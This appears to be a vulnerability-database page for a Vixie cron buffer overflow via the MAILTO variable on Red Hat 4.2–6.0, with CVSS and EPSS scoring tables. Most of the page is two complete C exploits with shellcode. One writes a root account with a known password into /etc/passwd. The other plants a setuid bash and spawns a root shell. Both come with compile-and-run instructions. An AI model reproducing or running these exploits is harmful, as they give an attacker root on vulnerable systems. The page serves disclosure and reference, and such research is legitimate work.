CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in Vixie Cron on Red Hat systems via the MAILTO environmental variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
3.37%
–
2024-02-11
–
–
–
1.42%
–
2024-06-02
–
–
–
1.42%
–
2024-12-22
–
–
–
1.42%
–
2025-02-23
–
–
–
1.42%
–
2025-01-19
–
–
–
1.42%
–
2025-02-23
–
–
–
1.42%
–
2025-03-18
–
–
–
–
4.91%
2025-03-18
–
–
–
–
4.91,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/602/info
The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack.
/*
vixie-crontab-3.0.1 cron_popen() exploit by Akke - 30-8-99
Akke <c4c4@hehe.com>
how to compile ?
gcc crontab_exploit.c -o crontab_exploit
how to use ?
./crontab_exploit
crontab ./CrOn
wait 1 minute
crontab -r
su -l cronexpl (password = exploited) (this is root account)
Greets to: bugtraq
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/ce";
#define max_buf_len 1000
#define CronFile "CrOn"
#define RootScript "/tmp/cron_root"
#define CronEchoScript "/tmp/cron_echo"
#define chmod_bin "/bin/chmod"
int main()
{
char crontab_file_string[max_buf_len];
char temp[max_buf_len];
FILE *fp;
int i;
strcpy(temp,
"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
"_ _ _ _ _ _ _ _ _ _ _ _ _ _ ");
sprintf(temp,"%s%s",temp,shellcode);
sprintf(crontab_file_string,"MAILTO=%s\n",temp);
strcat(crontab_file_string,"0");
for (i=1;i<60;i++) sprintf(crontab_file_string,"%s,%d",crontab_file_string,i);
sprintf(temp," * * * * %s\n",CronEchoScript);
strcat(crontab_file_string,temp);
if ((fp = fopen(CronFile,"w+")) != NULL) {
fprintf(fp,"%s",crontab_file_string);
fclose(fp);
}
if ((fp = fopen(CronEchoScript,"w+")) != NULL) {
fprintf(fp,"#!/bin/sh\necho Wrong window!");
fclose(fp);
sprintf(temp,"%s 777 %s",chmod_bin,CronEchoScript);
system(temp);
}
if ((fp = fopen(RootScript,"w+")) != NULL) {
#define login "cronexpl"
#define passw "1T8uqGnJZ0OsQ" /* "exploited" */
fprintf(fp,"#!/bin/sh\necho %s:%s:0:0::/root:/bin/bash >> /etc/passwd\nrm %s %s %s",login,passw,CronEchoScript,"/tmp/ce",RootScript);
fclose(fp);
sprintf(temp,"%s 777 %s",chmod_bin,RootScript);
system(temp);
}
if ((fp = fopen("/tmp/ce","w+")) != NULL) {
fprintf(fp,"#!/bin/sh\n%s\n",RootScript);
fclose(fp);
sprintf(temp,"%s 777 %s",chmod_bin,"/tmp/ce");
system(temp);
}
exit(0);
}
// source: https://www.securityfocus.com/bid/602/info
The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack.
/*
* VixieCron 3.0 Proof of Concept Exploit - w00w00
*
* Not only does Paul give up root with this one, but with his creative use of
* strtok() he actually ends up putting the address of our shellcode in eip.
*
* Many Thanks: Cheez Wiz, Sangfroid
* Thanks: stran9er, Shok
* Props: attrition.org,mea_culpa,awr,minus,Int29,napster,el8.org,w00w00
* Drops: Vixie, happyhacker.org, antionline.com, <insert your favorite web \
* defacement group here>
*
* Hellos: pm,cy,bm,ceh,jm,pf,bh,wjg,spike.
*
* -jbowie@el8.org
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>
char shellcode[] =
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
"\xff/tmp/w00w00";
int
main(int argc,char *argv[])
FILE *cfile,*tmpfile;
struct stat sbuf;
struct passwd *pw;
int x;
pw = getpwuid(getuid());
chdir(pw->pw_dir);
cfile = fopen("./cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+");
fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n* * * * * date\n");
fflush(cfile);
fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash %s\nchmod 4755 %s/bash\n", pw->pw_dir,pw->pw_dir);
fflush(tmpfile);
fclose(cfile),fclose(tmpfile);
chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);
if(!(fork())) {
execl("/usr/bin/crontab","crontab","./cronny",(char *)0);
} else {
printf("Waiting for shell be patient....\n");
for(;;) {
if(!(stat("./bash",&sbuf))) {
break;
} else { sleep(5); }
}
if((fork())) {
printf("Thank you for using w00warez!\n");
execl("./bash","bash",(char *)0);
} else {
remove("/tmp/w00w00");
sleep(5);
remove("./bash");
remove("./cronny");
execl("/usr/bin/crontab","crontab","-r",(char *)0);
}
}
}